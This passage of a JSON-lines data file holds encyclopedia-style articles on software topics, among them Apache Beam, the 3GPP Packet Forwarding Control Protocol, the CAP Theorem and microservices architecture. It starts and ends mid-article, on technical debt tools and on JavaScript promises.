security, and dependency debt are some things it can capture. \n\nOct  \n2019\n\nOswal studies the support for technical debt in three tools: SonarQube, PMD and Code Analytix. He notes that no single tool gives a holistic view and therefore he uses multiple tools for this analysis. The study looks at the Core Java 8 project plus a web application (Java/JavaScript/HTML/XML). The study addresses software reliability, maintainability and security.","meta":{"title":"Tools to Manage Technical Debt","href":"tools-to-manage-technical-debt"}}
{"text":"# Apache Beam\n\n## Summary\n\n\nWith the rise of Big Data, many frameworks have emerged to process that data. These are either for batch processing, stream processing or both. Examples include Apache Hadoop MapReduce, Apache Spark, Apache Storm, and Apache Flink. \n\nThe problem for developers is that once a better framework arrives, they have to rewrite their code. Mature old code gets replaced with immature new code. They may even have to maintain two codebases and pipelines, one for batch processing and another for stream processing. \n\nApache Beam aims to solve this problem by offering a **unified programming model** for both batch and streaming workloads that can run on any distributed processing backend execution engine. Beam offers SDKs in a few languages. It supports a number of backend execution engines.\n\n## Discussion\n\n### Why do I need Apache Beam when there are already so many data processing frameworks?\n\nHaving many processing frameworks is part of the problem. Developers have to write and maintain multiple pipelines to work with different frameworks. When a better framework comes along, there's significant effort involved in adopting it. Apache Beam solves this by enabling and reusing a single pipeline across multiple runtimes. \n\nThe benefit of Apache Beam is therefore both in development and operations. Developers can focus on their pipelines and less about the runtime. Pipelines become **portable**. Therefore there's no lock-in to a particular runtime. Beam SDKs allow developers to quickly integrate a pipeline into their applications. \n\nThe **Beam Model** offers powerful semantics for developers to think about data processing at higher level of abstractions. Concepts such as windowing, ordering, triggering and accumulation are part of the Beam model. \n\nBeam has auto-scaling. It looks at current progress to dynamically reassign work to idle workers or scaling up/down the number of workers. \n\nSince Apache Beam is open source, support for more languages (by SDK writers) or runtimes (by runner writers) can be added by the community. \n\n\n### What are the use cases served by Apache Beam?\n\nApache Beam is suitable for any task that can be parallelized by breaking down the data into smaller parts, each part running independently. Beam supports a wide variety of use cases. The simplest ones are perhaps Extract, Transform, Load (ETL) tasks that are typically used to move data across systems or formats. \n\nBeam supports batch as well as streaming workloads. In fact, the name *Beam* signifies a combination of \"Batch\" and \"Stream\". It therefore presents a unified model and API to define parallel processing pipelines for both types of workloads. \n\nApplications that use multiple streaming frameworks (such as Apache Spark and Apache Flink) can adopt Beam to simplify the codebase. A single data pipeline written in Beam can address both execution runtimes. \n\nBeam can be used for scientific computations. For example, Landsat data (satellite images) can be processed in parallel and Beam can be used for this use case. \n\nIoT applications often require real-time stream processing where Beam can be used. Another use case is computing scores for users in a mobile gaming app. \n\n\n### Which are the programming languages and runners supported by Apache Beam?\n\nApache Beam started with a Java SDK. By 2020, it supported Java, Go, Python2 and Python3. Scio is a Scala API for Apache Beam. \n\nAmong the main runners supported are Dataflow, Apache Flink, Apache Samza, Apache Spark and Twister2. Others include Apache Hadoop MapReduce, JStorm, IBM Streams, Apache Nemo, and Hazelcast Jet. Refer to the Beam Capability Matrix for more details. \n\nJava SDK supports the main runners but other SDKs support only some of them. This is because the runners themselves are written in Java, which makes support for non-Java SDKs non-trivial. Beam's **portability framework** aims to improve this situation and enable full interoperability. This framework would define data structures and protocols that can match any language to any runner. \n\n**Direct Runner** is useful during development and testing for execution on your local machine. Direct Runner checks if your pipeline conforms to the Beam model. This brings greater confidence that the pipeline will run correctly on various runners. \n\nBeam's portability framework comes with **Universal Local Runner (ULR)**. This complements the Direct Runner. \n\n\n### What are the essential programming abstractions in Apache Beam?\n\nBeam provides the following abstractions for data processing: \n\n    + `Pipeline`: Encapsulates the entire task including reading input data, transforming data and writing output. Pipelines are created with options using `PipelineOptionsFactory` that returns a `PipelineOptions` object. Options can specify for example location of data, runner to use or runner-specific configuration. A pipeline can be *linear* or *branching*.\n    + `PCollection`: Represents the data. Every step of a pipeline inputs and outputs `PCollection` objects. The data can be *bounded* (eg. read from a file) or *unbounded* (eg. streamed from a continuous source).\n    + `PTransform`: Represents an operation on the data. Inputs are one or more `PCollection` objects. Outputs are zero or more `PCollection` objects. A transform doesn't modify the input collection. I/O transforms read and write to external storage. Core Beam transforms include `ParDo`, `GroupByKey`, `CoGroupByKey`, `Combine`, `Flatten`, and `Partition`. Built-in I/O transforms can connect to files, filesystems (eg. Hadoop, Amazon S3), messaging systems (eg. Kafka, MQTT), databases (eg. Elasticsearch, MongoDb), and more.\n\n### What's the Beam execution model?\n\nCreating a pipeline doesn't imply immediate execution. The designated pipeline runner will construct a **workflow graph** of the pipeline. Such a graph connects collections via transforms. Then the graph is submitted to the distributed processing backend for execution. Execution happens asynchronously. However, some runners such as Dataflow support blocking execution. \n\n\n### What are some essential concepts of the Beam model?\n\nData often has two associated times: **event time**, when the event actually occurred, and **processing time**, when the event was observed in the system. Typically, processing time lags event time. This is called *skew* and it's highly variable. \n\nBounded or unbounded data are grouped into **windows** by either event time or processing time. Windows themselves can be fixed, sliding or dynamic such as based on user sessions. Processing can also be time-agnostic by chopping unbounded data into a sequence of bounded data. \n\nData can arrive out of order and with unpredictable delays. There's no way of knowing if all data applicable to an event-time window have arrived. Beam overcomes this by tracking **watermarks**, which gives a notion of data completeness. When a watermark is reached, the results are materialized. \n\nWe can also materialize early results (before watermark is reached) or late results (data arriving after the watermark) using **triggers**. This allows us to refine results over time. Finally, **accumulation** tells how to combine multiple results of the same window. \n\n\n### Could you point to useful developer resources to learn Apache Beam?\n\nApache Beam's official website contains quick start guides and documentation. The Overview page is a good place to start. There's an example to try out Apache Beam on Colab.\n\nThe Programming Guide is an essential read for developers who wish to use Beam SDKs and create data processing pipelines. \n\nVisit the Learning Resources page for links to useful resources. On GitHub, there's a curated list of Beam resources and a few code samples.\n\nDevelopers who wish to contribute to the Beam project should read the Contribution Guide. The code is on GitHub. The codebase also includes useful examples. For example, Python examples are in folder path `sdks/python/apache_beam/examples` and Go examples in `sdks/go/examples`. \n\n## Milestones\n\nJul  \n2014\n\nJay Kreps questions the need to maintain and execute parallel pipelines, one for batch processing (eg. using Apache Hadoop MapReduce) and one for stream processing (eg. using Apache Storm). The batch pipeline gives exact results and allows data reprocessing. The streaming pipeline has low-latency and gives approximate results. This has been called **Lambda Architecture**. Kreps instead proposes, \"a language or framework that abstracts over both the real-time and batch framework.\" \n\nMay  \n2015\n\nAt a Big Data conference in London, Google engineer Tyler Akidau talks about streaming systems. He introduces some of those currently used at Google: MillWheel, Google Flume, and Cloud Dataflow. In fact, Cloud Dataflow is based on Google Flume. These recent developments bring greater maturity to streaming systems, which so far have remained less mature compared to batch processing systems. \n\n2016\n\nIn February, Google's Dataflow is accepted by Apache Software Foundation as an Incubator Project. It's named **Apache Beam**. The open-sourced code includes Dataflow Java SDK, which already supports four runners. There's plan to build a Python SDK. Google Cloud Dataflow will continue as a managed service executing on the Google Cloud Platform. Beam logo is also released in February. \n\nJan  \n2017\n\nApache Beam graduates from being an incubator project to a top-level Apache project. During the incubation period (2016), the code was refactored and documentation was improved in an extensible vendor-neutral manner. \n\nMay  \n2017\n\n**Beam 2.0** is released. This is the first stable release of Beam under the Apache brand. It's said that Beam is at this point \"truly portable, truly engine agnostic, truly ready for use.\" \n\nJun  \n2018\n\nWith the release of Beam 2.5.0, **Go SDK** is now supported. Go pipelines run on Dataflow runner. \n\nJul  \n2020\n\n**Beam 2.23.0** is released. This release supports Twister2 runner and Python 3.8. It removes support for runners Gearpump and Apex.","meta":{"title":"Apache Beam","href":"apache-beam"}}
{"text":"# Packet Forwarding Control Protocol\n\n## Summary\n\n\nPacket Forwarding Control Protocol (PFCP) is a protocol used for communicating between control plane (CP) and user plane (UP) functions in 4G (Release 14 onwards) and 5G networks.  In these networks, the concept of **Control and User Plane Separation (CUPS)** separates the two planes. However, there's a need for these two planes to communicate across the newly defined interfaces. For this purpose, PFCP was defined.\n\nPFCP sits on top on UDP/IP. It functions only in the control plane. A control plane node uses PFCP to associate with one or more user plane nodes and subsequently configure PDU sessions for the user plane. PFCP consists of node-related or session-related messages. Messages and IEs are encoded in TLV format. \n\nOpen source implementations of PFCP are available.\n\n## Discussion\n\n### Where does PFCP fit in?\n\nIn 4G EPC, PFCP is used on the **Sx interfaces**. In particular, these are Sxa (SGW-C and SGW-U), Sxb (PGW-C and PGW-U) and Sxc (TDF-C and TDF-U). Due to CUPS, traditional Serving Gateway (SGW) and PDN Gateway (PGW) were split into SGW-C and SGW-U, and PGW-C and PGW-U respectively. PFCP was defined to help these split entities to communicate. The Traffic Detection Function (TDF) is an optional function and it was also split. Its parts also use PFCP.  \n\nIt's also possible to combine SGW-C and PGW-C into a single control plane node. Likewise, SGW-U and PGW-U can be combined. These combined entities can communicate using PFCP. \n\nIn 5G, CUPS was applied from the outset, that is, in Release 15. The equivalent control plane and user plane nodes are Session Management Function (SMF) and User Plane Function (UPF). These are connected via the **N4 interface**. PFCP is used on this interface. \n\nIn some scenarios, user plane data packets may be sent on these interfaces between CP and UP functions. However, such packets don't use PFCP. They're sent using GTP-U over UDP/IP. \n\n\n### Which are the main procedures in PFCP?\n\nThe figure shows the list of PFCP messages, which follow the procedures that PFCP needs to perform: \n\n    + **Node-related**: Heartbeat (to know if the peer node is alive); Load Control (UP sends CP its current load); Overload Control (UP informs CP that it's overloaded); Association Setup/Update/Release (relate to associating UP with CP); Packet Flow Description (PFD) Management (provision PFDs to UP); Node Report (UP reports non-session-related information to CP).\n    + **Session-related**: Session Establishment/Modification/Release (configure rules in the UP to handle packets on a per-session basis); Session Report (UP reports session-specific information to CP).PFCP runs on top of UDP, which doesn't guarantee packet delivery. For this reason, PFCP **retransmits** every request for which a response is not received within a defined timeout. Timeout value and number of retransmissions are implementation specific. A request-response pair share the same sequence number. \n\nFor efficiency, many session-related messages targeting the same peer PFCP entity can be **bundled** together. If bundled messages remain unacknowledged, they may be retransmitted individually. Bundling is not applicable for node-related messages. \n\n\n### What's meant by PFCP Association?\n\nBefore a UP function can carry packets, it must first be configured by a CP function. It's for this purpose that PFCP exists. However, even before CP configures UP for a session, it must first select a suitable UP. This is exactly what the association procedure achieves. A CP associates with a UP before establishing sessions on the UP. Association allows CP to subsequently use the resources of the UP.  \n\nThe association setup procedure may be initiated by either CP or UP. Support for UP-initiated association is optional. Either way, CP and UP exchange their support for PFCP optional features during the association procedure. \n\nEither CP or UP may initiate the association update procedure. Only CP may initiate the association release procedure. When UP receives a release request message, it shall delete all PFCP sessions and then delete its association with the CP. \n\nA CP node may be associated with many UP nodes and vice versa. However, a CP-UP pair shall have only one association. \n\n\n### What's the packet forwarding model in PFCP?\n\nThe CP function configures an associated UP function with Packet Detection Rules (PDRs) for each session. Each PDR contains Packet Detection Information (PDI). A PDI can include UE IP address, SDF filter, QFI, Ethernet packet filter, etc. Each PDR also has associated rules that specify how a packet should be treated, that is, if or how should the packet be forwarded, buffered, dropped, etc. No two PDRs shall have the same PDIs. \n\nWhen a data packet comes into the UP function, first task is to identify the packet's PFCP session using provisioned PDRs. Then UP identifies all matching PDRs of the session. PDR with the highest precedence is selected. Finally, the associated rules of this PDR are applied on the packet. \n\nPackets unmatched by any PDRs are dropped. However, CP may configure UP with a separate session with a PDR containing wildcarded fields. Such a PDR shall have lowest precedence. Such packets may be configured to be dropped or forwarded to CP. \n\n\n### Which are the rules signalled by PFCP?\n\nA PFCP session is configured with the following:  \n\n    + **Packet Detection Rule (PDR)**: PDIs are used to identify the PFCP session.\n    + **Forwarding Action Rule (FAR)**: Apply Action IE informs UP function if packets are to be forwarded, duplicated, dropped or buffered.\n    + **QoS Enforcement Rule (QER)**: QoS enforcement includes gating control, QoS control, DL flow level marking, service class indicator marking and reflective QoS.\n    + **Usage Reporting Rule (URR)**: UP function sends traffic reports to CP function. Reports may be volume-based, time-based or both.\n    + **Buffer Action Rule (BAR)**: Specifies buffering parameters for FARs whose Apply Action IEs indicate buffering.\n    + **Multi-Access Rule (MAR)**: Applicable for multi-access PDU sessions if UP function supports the Access Traffic Steering, Switching, Splitting (ATSSS) feature.FAR, QER, URR and MAR are association with PDRs of the same PFCP session. Only PDR and FAR are mandatory for a session. These rules are configured during session establishment or modification procedures. However, to reduce signalling load, the UP function may be asked to activate pre-defined PDRs. This is permitted for a UP function that has pre-defined FAR, QER and/or URR. \n\n\n### How are messages and IEs encoded in PFCP?\n\nPFCP messages and IEs are encoded using **TLV format**. TS 29.244 defines message formats in section 7.2 and IE formats in section 8.1. A PFCP message consists of a PFCP header and zero or more IEs. \n\nThe header is of variable length with flags in the first byte signalling the presence/absence of fields. Session-related messages contain a Session Endpoint Identifier (SEID) that's omitted in node-related messages. \n\nMessage type is signalled with a single byte. Message length takes up two bytes. The length value excludes the first four bytes (which are mandatory) of the PFCP header. \n\nFor each IE, the IE type is signalled with two bytes. IE length takes up two bytes. The length value excludes the first four bytes of the IE. Such an encoding enables forward compatibility. Some IEs are extendable. A legacy receiving entity should ignore extra bytes that it doesn't understand. \n\nSome IEs can contain other IEs. These are called **Grouped IEs**. Messages carry these grouped IEs. \n\n\n### Are there open source implementations of PFCP?\n\nThe Open5GS project has C language-based implementation of PFCP. Open5GS is a well-known project with 1300+ stars on its codebase. \n\nLess well-known implementations include free5GC's PFCP and go-pfcp, both in Go language. A C++ implementation is OpenAirInterface Software Alliance's PFCP. It's associated openair-uml project gives useful class, sequence and activity diagrams. \n\nThe Open Mobile Evolved Core (OMEC) project has Go implementations of UPF, SMF and PFCP simulator. The simulator simulates 4G SGW-C or 5G SMF. It can be used for UPF testing. \n\n\n### Which are the patents concerning PFCP?\n\nWe note a few patents pertaining to PFCP (though possibly not standardized by 3GPP):\n\n    + WO2021009166A1 (2021): CP configures UP to enable Network Address Translation (NAT) for one or more Service Data Flows (SDFs). An IE for NAT can be part of FAR.\n    + 20210297535 (2021): 5G specifications allow UPF to report only traffic volume to SMF. It's foreseen that data analytics may become more important in 5G (NWDAF). By enhancing Reporting Rule, we can report latency, jitter, QoE, etc.\n    + WO/2021/254645 (2021): Layer-specific volume reporting would give operators flexibility to charge based on application payload only or include L3/L4 headers.\n    + EP3697171B1 (2020): UP-initiated Association Release procedure could be useful when UP functions are shut down for maintenance, prior to which usage reports need to be sent to CP. Correct reporting is needed for policy control and charging.\n    + 20200059992 (2020): Using Deep Packet Inspection (DPI), a UP determines if a PDR associated with a PFCP session context needs to be modified or a new PDR created. UP then initiates this change towards CP.\n    + US20210281664A1 (2021): This talks about negotiating and compressing PFCP messages on the N4 interface.\n\n\n## Milestones\n\nJul  \n2015\n\nAt the SA WG2 Meeting #S2-110, a study item titled *Feasibility Study on Control and User Plane Separation of EPC nodes* is proposed. This is subsequently approved in September at the 3GPP TSG SA Meeting #69. \n\nJun  \n2016\n\n3GPP publishes **TR 23.714** titled *Study on control and user plane separation of EPC nodes* as part of Release 14. The document identifies the different issues and possible solutions. The selected solution is a functional split of user plane and control plane functions, including the case of combined SGW/PGW. \n\nSep  \n2016\n\n3GPP publishes **TS 23.214** that specifies the architectural changes to support CUPS in LTE EPC. This is for Release 14. This evolves for other releases: V15.0.0 (Sep 2017), V16.0.0 (Jun 2019) and V17.0.0 (Jun 2021). \n\nMar  \n2017\n\n3GPP publishes **TS 29.244**, v1.0.0, titled *Interface between the Control Plane and the User Plane nodes*. This is the main document giving details of PFCP. In June, this is approved for Release 14 as v14.0.0. \n\nMay  \n2017\n\nAt the IANA (Internet Assigned Numbers Authority), **port number 8805** is assigned to PFCP over UDP. This is destination port number for a PFCP request message. The source port may be any locally assigned number. \n\nDec  \n2017\n\nAs part of 5G Release 15, 3GPP publishes PFCP document TS 29.244, v15.0.0. \n\nJun  \n2019\n\nAs part of 5G Release 16, 3GPP publishes PFCP document TS 29.244, v16.0.0. This update includes Enhanced PFCP Association Release, Deferred PDR activation/deactivation, Activation/Deactivation of pre-defined PDRs, Multi-Access Action Rule, ATSSS support, and more. With v16.1.0 (September 2019), PFCP messages bundling is introduced. \n\nMar  \n2021\n\nAs part of 5G Release 17, 3GPP publishes PFCP document TS 29.244, v17.0.0. This includes support of Radius, Diameter or DHCP communication via UPF, and partial failure handling over the N4 interface. With v17.1.0 (June 2021) there's support for multi-access PDU sessions and per QoS flow performance measurement. \n\nMar  \n2022\n\n3GPP publishes **TR 29.820**, v17.0.0, titled *Study on Best Practice of PFCP*. These best practices lead to better interoperability such as when SMF is deployed centrally at the operator side while UPF is deployed locally at the customer side. Over the N16a interface, I-SMF and SMF have to be interoperable since PFCP IEs are sent over this interface.","meta":{"title":"Packet Forwarding Control Protocol","href":"packet-forwarding-control-protocol"}}
{"text":"# CAP Theorem\n\n## Summary\n\n\nA well-design cloud-based application often stores its data across multiple servers. For faster response, data is often stored closer to clients in that geography. Due to the distributed nature of this system, it's impossible to design a perfect system. The network may be unreliable or slow at times. Therefore, there are trade-offs to be made. CAP Theorem gives system designers a method to think through and evaluate the trade-offs at the design stage.\n\nThe three parts of the CAP Theorem are **Consistency**, **Availability**, and **Partition Tolerance**. The theorem states that it's impossible to guarantee all three in a distributed data store. We can meet any two of them but not all three.\n\nOver the years, designers have misinterpreted the CAP Theorem. To reflect read-world scenarios, modifications to the theorem have been proposed.\n\n## Discussion\n\n### What's the definition of CAP Theorem?\n\nA formal definition of CAP Theorem is, \"It is impossible in the asynchronous network model to implement a read/write data object that guarantees the following properties: availability, atomic consistency, in all fair executions (including those in which messages are lost)\". \n\nA simplified definition states that, \n\n> In a network subject to communication failures, it is impossible for any web service to implement an atomic read/write shared memory that guarantees a response to every request.\n\nThe word \"atomic\" used above means that although it's a distributed system, requests are modelled as if they are executing on a single node. This gives us an easy model for consistency. \n\n\n### Could you explain the CAP Theorem?\n\nThe parts of the CAP Theorem can be understood as follows: \n\n    + **Consistency**: When a request is made, the server returns the right response. What is \"right\" depends on the service. For example, reading a value from a database might mean that the most recent write to that value should be returned.\n    + **Availability**: A request always receives a response from the server. No constraint is placed on how quickly the response must be received.\n    + **Partition Tolerance**: The underlying network is not reliable and servers may get partitioned into non-communicating groups. Despite this, the service should continue to work as desired.As an example, consider two nodes G1 and G2 that have been partitioned. A client changes a value from v0 to v1 on G1. However, the same value is not updated on G2 due to the partition. Hence, when G2 is queried it returns the old value v0. Thus, the service is available but not consistent. \n\nSometimes the terms *safety* (consistency) and *liveness* (availability) are used in the generalized sense. Safety means \"nothing bad ever happens\". Liveness means \"eventually something good happens\". \n\n\n### What's the implication of the CAP Theorem when designing distributed systems?\n\nWhen CAP Theorem was proposed, the understanding was that system designers had three options: \n\n    + **CA Systems**: Sacrifice partition tolerance. Single-site or cluster databases using two-phase commit are examples.\n    + **CP Systems**: Sacrifice availability. If there's a partition, for consistency we make the service unavailable: return a timeout error or lock operations.\n    + **AP Systems**: Sacrifice consistency. If there's a partition, we continue accepting requests but reconcile them later (writes) or return stale values (reads).In practice, we deal with network partitions at least some of the time. The choice is really between consistency and availability. For databases, consistency can be achieved by enabling reads after completing writes on several nodes. Availability can be achieved by replicating data across nodes. In fact, permanent partitions are rare. So the choice is temporary. \n\nDesigners don't have to give up one of the three to build a distributed system. In fact, it's possible to have all three under normal network conditions. There's trade-off only when the network is partitioned. It's also helpful to think probabilistically. We can design a CA system if probability of a partition is far less than that of other systemic failures. \n\n\n### Could you share real-world applications of the CAP Theorem?\n\nDatabases that follow ACID (Atomicity, Consistency, Isolation, Durability) give priority to consistency. However, NoSQL distributed databases prefer availability over consistency since availability is often part of commercial service guarantees. So caching and logging were used for *eventual consistency*. This leads to what we call BASE (Basically Available, Soft-state, Eventually consistent). As examples, Zookeeper prefers consistency while Amazon's Dynamo prefers availability. \n\nMaintaining consistency over a wide area network increases latency. Therefore, Yahoo's PNUTS system is inconsistent because it maintains remote copies asynchronously. A particular user's data is partitioned locally and accessed with low latency. Facebook's prefers to update a non-partitioned master copy. User has a more local but potentially stale copy, until it gets updated. \n\nA web browser can go offline if it loses connection to the server. The web app can fall back to on-client persistent storage. Hence, availability is preferred over consistency to sustain long partitions. Likewise, Akamai's web caching offers best effort consistency with high level of availability. \n\nIn Google, primary partition usually resides within one datacenter, where both availability and consistency can be maintained. Outside this partition, service becomes unavailable. \n\n\n### What are some criticisms of the CAP Theorem?\n\nAlthough the Theorem doesn't specify an upper bound on response time for availability, in practice, there's exists a timeout. CAP Theorem ignores **latency**, which is an important consideration in practice. Timeouts are often implemented in services. During a partition, if we cancel a request, we maintain consistency but forfeit availability. In fact, latency can be seen as another word for availability. \n\nIn NoSQL distributed databases, CAP Theorem has led to the belief that eventual consistency provides better availability than strong consistency. Some believe this is an outdated notion. It's better to factor in sensitivity to network delays. \n\nCAP Theorem suggests a binary decision. In reality, it's a continuum. There are different degrees of consistency implemented via \"read your writes, monotonic reads and causal consistency\". \n\n## Milestones\n\n1985\n\nOriginally presented in 1983, researchers Fisher, Lynch and Paterson (FLP) show that distributed consensus is impossible in a fault-tolerant manner in an asynchronous system. Distributed consensus is related to the problem of atomic storage addressed by CAP Theorem. \n\n1996\n\nBefore CAP Theorem is formalized, researchers have been working on similar ideas. One example is the paper titled *Trading Consistency for Availability in Distributed Systems* by two researchers at Cornell University. \n\n2000\n\nEric Brewer presents the CAP Theorem at the 19th Annual ACM Symposium on Principles of Distributed Computing (PODC). It's early history can be traced to 1998 and first published in 1999. Brewer points out that distributed computing has unduly focused on computation and not on data. \n\n2002\n\nMIT researchers Seth Gilbert and Nancy Lynch offer a formal proof of the CAP Theorem in their paper titled *Brewer's Conjecture and the Feasibility of Consistent, Available, Partition-Tolerant Web Services*. In asynchronous systems, the impossibility result is strong. In partially synchronous systems, we can achieve a practical compromise between consistency and availability. \n\n2010\n\nDaniel Abadi proposes the **PACELC Theorem** as an alternative to the CAP Theorem. When data is replicated, there's a trade-off between latency and consistency. PACELC makes this explicit: during partitions (P), trade-off is AC; else, trade-off is LC. Default versions of Dynamo, Cassandra, and Riak are PA/EL systems. VoltDB/H-Store and Megastore are PC/EC. MongoDB is PA/EC.","meta":{"title":"CAP Theorem","href":"cap-theorem"}}
{"text":"# Microservices\n\n## Summary\n\n\nMicroservice Architecture describes an approach where an application is developed using a collection of loosely coupled services. Previously, applications were based on centralized multi-tier architecture. This worked well in the age of mainframes and desktops. But with cloud computing and mobile devices, backend must be available at all times for a wide range of devices. Bug fixes and features must be delivered quickly without downtime or deploying the entire application. \n\nMicroservices are independently deployable, communicating through web APIs or messaging queues to respond to incoming events. They work together to deliver various capabilities, such as user interface frontend, recommendation, logistics, billing, etc.\n\nMicroservices are commonly run inside containers. Containers simplify deployment of microservices but microservices can run even without containers.\n\n## Discussion\n\n### What are Microservices?\n\nA microservice is an **autonomous independent service** that encapsulates a business scenario. It **contains the code and state**. Usually a microservice even contains its own data store. This makes it independently versionable, scalable and deployable. A microservice is loosely coupled and **interacts** with other microservices through well-defined interfaces using protocols like http. They remain **consistent and available** in the presence of failure. A microservice is independently releasable. Each microservice can be scaled on its own without having to scale the entire app. \n\n\n### What are the types of Microservices?\n\nBroadly, there are two types of microservices: \n\n    + **Stateless**: Has either no state or it can be retrieved from an external store (cache/database). It can be scaled out without affecting the state. There can be N instances. Examples: web frontends, protocol gateways, etc. A stateless service is not a cache or a database. It has frequently accessed metadata, no instance affinity and loss of a node is non-evident.\n    + **Stateful**: Maintains a hard, authoritative state. For large hyper-scale application the state is kept close to compute. N consistent copies achieved through replication and local persistence. Example: database, documents, workflow, user profile, shopping cart, etc. A stateful service consists of databases and caches and the loss of a node is a notable event. It is sometimes a custom app that holds large amounts of data.As a variation, one author has identified three types: stateless (compute), persistence (storage), aggregation (choreography). Aggregation microservices depend on other microservices, thereby have network and disk I/O dependence. \n\n\n### What are the types of microservices in a layered architecture?\n\nWhen we look at microservices as a layered architecture, we can identify the following types: \n\n    + **Core/Atomic services**: Fine-grained self-contained services. No external service dependencies. Mostly business logic. Often no network calls.\n    + **Composite/Integration Services**: Business functionality composed from multiple core services. Include business logic and network calls. Implement routing, transformations, orchestration, resiliency and stability patterns. Often interface to legacy or proprietary systems.\n    + **API/Edge Services**: A selected set of integration services and core services offered as managed APIs for consumers. Implement routing, API versioning, API security and throttling.\n\n### How are microservices different from APIs?\n\nAPIs are not microservices and microservices are not the implementation of an API. API is an interface. A microservice is a component. The term \"micro\" refers to the component and not the granularity of the exposed interfaces. Microservices can be used to expose one or more APIs. However, not all microservice components expose APIs. \n\n\n### What's the relationship between Microservices Architecture and Service Oriented Architecture (SOA)?\n\nSOA and Microservice architecture relate to different scopes. While SOA relates to enterprise service exposure, microservice architecture relates to application architecture. Both try to achieve many of the same things (creation of business functions as isolated components) but at a different scale. They differ in maintainability, granularity, agility, etc. SOA is a very broad term and microservices is a subset of that usage. Netflix noted that microservices is \"fine-grained SOA\". Microservices have been recognized as \"SOA done right\". \n\nSome microservices principles are really different to SOA: \n\n    + Reuse is not the goal: Reuse of common components is discouraged due to the dependencies it creates. Reuse by copy is preferred.\n    + Synchronous is bad: Making synchronous calls such as API or web services creates real-time dependencies. Messaging is used whenever possible between microservices.\n    + Service Discovery at run time: Components are assumed to be volatile. So it's often the clients’ responsibility to find and even load balance across instances.\n    + Data Duplication is embraced: Techniques such as event sourcing result in multiple independent \"views\" of the data, ensuring that microservices are truly decoupled.\n\n### What are the important principles to keep in mind while designing a Microservices Architecture?\n\nBroadly speaking the following principles are good to know while designing a microservices architecture: Modelling around a Business Domain, Culture of Automation, Hide Implementation Details, Highly Observable, Decentralise all things, Isolate Failure, Consumer First, Deploy Independently. \n\n\n### What are the advantages of using a microservices architecture?\n\nAdvantages span both development and operations. Briefly we note the following advantages: Build and operate service at scale, Improved resource utilisation to reduce costs, Fault isolation, Continuous Innovation, Small Focused Teams, Use of any language or framework. \n\nScalability comes because of the modularity that microservices enable. Because of containers, microservices have become easier deploy in various environments. Because of the isolation of services, there's also a security advantage: an attack on one service will not affect others. \n\nMicroservices are about code and development. Containers are about deployment. Containers enable microservices. Containers offer isolated environments, thus making them an ideal choice for deploying microservices. However, it's possible to deploy microservices without containers. For example, microservices can be deployed independently on Amazon EC2. Each microservice can be in its own auto-scaling group and scaled independently. \n\n\n### Why should I probably not adopt microservices for my app?\n\nSince application is distributed across microservices, such distributed systems are harder to manage and monitor. Operational complexity increases as the number microservices and their instances increases, particularly when they are dynamically created and destroyed. Network calls can be slow and even fail at times. Being distributed, maintaining strong consistency is hard and application has to ensure eventual consistency. \n\nMicroservices require more time for planning and partitioning the app. They should be designed with failure in mind. When you are building a Minimum Viable Product (MVP) or experimenting to assess what works or can add value to business, then a monolithic approach is faster and easier. Adopt microservices only when you need to scale after your idea and its business value is proven. \n\nIf you're managing a legacy application, the effort to migrate to microservices might involve considerable cost. The technology stack may be considerably larger than a monolithic app. Applications have a great dependence on networking and its performance. Microservices can be tested independently but to test the entire application is more difficult. \n\n## Milestones\n\n1970\n\nAlthough not directly influencing the birth of microservices, it's been noted that from an architectural/philosophical perspective similar ideas existed in the 1970s: Carl Hewitt's Actor Model; or pipes in UNIX that connect many small programs, each of which did something specific rather than having a large complex program that did many things. \n\n1990\n\nThis is the decade when **Service-Oriented Architecture (SOA)** starts to gain wider adoption. The term itself is first described by Gartner in 1996. The idea is to use services as isolated and independent building blocks that collectively make up an application. Services are loosely bound together by a standard communications framework. \n\n2000\n\nTo enable applications to communicate with one another over a network, W3C standardizes SOAP. Over the next few years, WSDL and UDDI gets standardized as well. XML is the preferred format of communication. Through this decade, **Web Services**, a web-based implementation of SOA, becomes popular over proprietary methods such as CORBA or DCOM. \n\n2009\n\nNetflix redefines the way it develops apps and manages operations by relying completely on APIs. This later develops into what we today call microservices. \n\nMay  \n2011\n\nThe term **microservices** gets discussed at a workshop of software architects near Venice, to describe a common architectural style that several of them were exploring at the time. \n\n2012\n\n**REST** and **JSON** become the de facto standard to consume backend data. These would later prove to be foundational for inter-service communication when building microservices-based apps.\n\nMar  \n2013\n\nClosely related to microservices, **Docker**, a computer program that performs operating-system-level virtualization (containerization), gets open sourced. \n\nJun  \n2014\n\n**Kubernetes**, a container orchestration system for automating deployment, scaling and managing containerized applications, gets open sourced by Google. \n\nNov  \n2015\n\nAn app developer survey from NGINX shows that microservices are entering mainstream with about two-thirds either using or investigating them. Adoption is higher with medium and small companies.","meta":{"title":"Microservices","href":"microservices"}}
{"text":"# Promises\n\n## Summary\n\n\nIn asynchronous programming, it's common practice to use callbacks so that the main thread can continue with other processing rather than wait for current function to complete. When that function completes, a relevant callback function is called. Writing and maintaining asynchronous code can be difficult. Promises offer a syntax that enables better code structure and flow. \n\nA promise is an object that's returned immediately when an asynchronous call is made even when such a call has not completed. This object is constructed and returned \"with the promise\" that its contents will be filled in at a later point when the asynchronous call completes. Formally, \n\n> A promise represents the eventual result of an asynchronous operation.\n\nPromises have become popular since mid-2010s in the world of JavaScript and web development, although promises are not exclusive to JavaScript.\n\n## Discussion\n\n### Why do we need promises?\n\nAsynchronous code often ends up with deeply nested callbacks. Programmers often call this *callback hell* or *pyramid of doom*. This happens because in async code we can't return values because such values are not yet ready. Likewise, we can't throw exceptions because there's no one to catch them. \n\nPromises solve this by flattening the program flow. Because each asynchronous call immediately returns with a promise object, this object can then be used to specify the callback functions for both success and failure cases. In particular, `then` method of a promise object allows us to specify the callbacks. This method also returns another promise object, thus facilitating a chain or composition of promises.\n\nAsynchronous code written with promises is closer in spirit to how we write synchronous code. In synchronous code, we are used to `return`, `throw` and `catch` statements. This functionality was lost in the world of asynchronous callbacks. Essentially, \n\n> The point of promises is to give us back functional composition and error bubbling in the async world.\n\n\n### What are the essentials of a promise?\n\nA promise is a first-class object, meaning that it can be copied, passed as arguments or returned from functions. Moreover, a promise is returned even before the result of an async call is ready. This allows us to call methods of the object (such as `then` method) while the async call is still in progress.\n\nCallbacks can be specified via the `then` method. Two things are possible when the `then` method is called:\n\n    + If the async call has already completed (or it could even be a synchronous call), the promise object will invoke the relevant callback immediately.\n    + If the async call is still pending, the promise object will register the callback but call it later.In either case, `then` method returns a new promise object and this is important to enable chaining. Multiple 